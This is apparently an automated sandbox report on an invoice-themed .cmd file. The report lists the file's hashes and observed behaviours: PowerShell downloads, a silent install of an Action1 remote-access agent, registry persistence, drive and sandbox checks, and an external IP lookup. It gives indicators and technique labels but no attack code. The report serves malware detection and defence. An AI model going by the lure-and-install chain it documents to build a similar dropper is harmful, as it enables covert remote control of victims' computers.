e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007

Analysis

max time kernel
300s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/05/2026, 09:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Remittance/Invoice_02901.cmd
Size 1KB
Sample260511-lcfevsd19s
SHA256 e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007
MD5 bb9dae4911183126b57542b83651cb4c
SHA1 4f711c6d3bd62c252e0fc9d5b7e70639e3644643
SHA512 1a94d25d1950c2c28c3104b7a89d9d118b46febcc487992556c9d9fe7fc9293b4da83dcbc1219ee70a01d29f4134e800093a19d6b8989091c5d77aa9db2820e9
TLSH
T1513100E12465381DDA279A50C80A03B2E7C26711CB013ADFB0E8E194BE057D5CBC7D8D
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion discovery execution persistence ransomware

Malware Config

Signatures

Badlisted process makes network request 13 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4728	powershell.exe
11	3476	msiexec.exe
13	3476	msiexec.exe
15	3476	msiexec.exe
17	3476	msiexec.exe
21	3476	msiexec.exe
34	3476	msiexec.exe
40	3476	msiexec.exe
87	5192	powershell.exe
89	5192	powershell.exe
91	5192	powershell.exe
95	5464	powershell.exe
97	5464	powershell.exe

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-721190819-434563495-2007910846-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4728	powershell.exe
4768	powershell.exe
2604	powershell.exe
1408	powershell.exe
5920	powershell.exe
1304	powershell.exe
3028	powershell.exe
3512	powershell.exe
468	powershell.exe
2416	powershell.exe
620	powershell.exe
1784	powershell.exe
1872	powershell.exe
4596	powershell.exe
5192	powershell.exe
816	powershell.exe
5296	powershell.exe
768	powershell.exe
1868	powershell.exe
1472	powershell.exe
948	powershell.exe
1984	powershell.exe
3256	powershell.exe
2964	powershell.exe
2344	powershell.exe
4784	powershell.exe
5464	powershell.exe
2524	powershell.exe
2676	powershell.exe
2244	powershell.exe
4588	powershell.exe
3408	powershell.exe
2968	powershell.exe
4896	powershell.exe
2636	powershell.exe
1200	powershell.exe
2748	powershell.exe
5268	powershell.exe
5672	powershell.exe
3516	powershell.exe
3676	powershell.exe
3844	powershell.exe
4728	powershell.exe
1768	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3848	action1_agent.exe
1888	action1_agent.exe
1348	action1_agent.exe
5392	action1_agent.exe

Loads dropped DLL 4 IoCs

pid	Process
3676	MsiExec.exe
3676	MsiExec.exe
3676	MsiExec.exe
4928	MsiExec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\F:	explorer.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
96	ifconfig.me
97	ifconfig.me

Drops file in System32 directory 44 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 37 IoCs

description	ioc	Process
File created	C:\Windows\Action1\rule_data\1000.suppress	action1_agent.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}	msiexec.exe
File created	C:\Windows\Action1\action1_remote.exe	msiexec.exe
File created	C:\Windows\Installer\e5816f3.msi	msiexec.exe
File created	C:\Windows\Action1\rule_data\1008.suppress	action1_agent.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe	msiexec.exe
File created	C:\Windows\Action1\first_install.tmp	action1_agent.exe
File created	C:\Windows\Action1\sas.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C49.tmp	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.instance_lock	action1_agent.exe
File created	C:\Windows\Action1\action1_agent.exe.update_state	action1_agent.exe
File created	C:\Windows\Action1\schedule.json	action1_agent.exe
File created	C:\Windows\Action1\rule_data\1004.suppress	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1000.poll.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI5734.tmp	msiexec.exe
File opened for modification	C:\Windows\Action1\logs\action1_log_2026-05-11_10-23-34~3848.log	action1_agent.exe
File created	C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\action1_agent.exe.connection	action1_agent.exe
File opened for modification	C:\Windows\Installer\MSI55EB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5AB0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5AFF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon	msiexec.exe
File created	C:\Windows\Action1\advanced_settings.json.tmp	action1_agent.exe
File created	C:\Windows\Action1\rules.json	action1_agent.exe
File created	C:\Windows\Action1\datasource_data\1004.poll.tmp	action1_agent.exe
File created	C:\Windows\Installer\e5816ee.msi	msiexec.exe
File created	C:\Windows\Action1\7z.dll	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5C0A.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Action1\what_is_this.txt	action1_agent.exe
File created	C:\Windows\Action1\agent_downgrade.version_pair.tmp	action1_agent.exe
File created	C:\Windows\Action1\previousUser.txt	powershell.exe
File created	C:\Windows\Action1\datasource_data\1008.poll.tmp	action1_agent.exe
File opened for modification	C:\Windows\Installer\e5816ee.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	action1_agent.exe

Checks SCSI registry key(s) 3 TTPs 58 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064	explorer.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006	explorer.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
4676	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
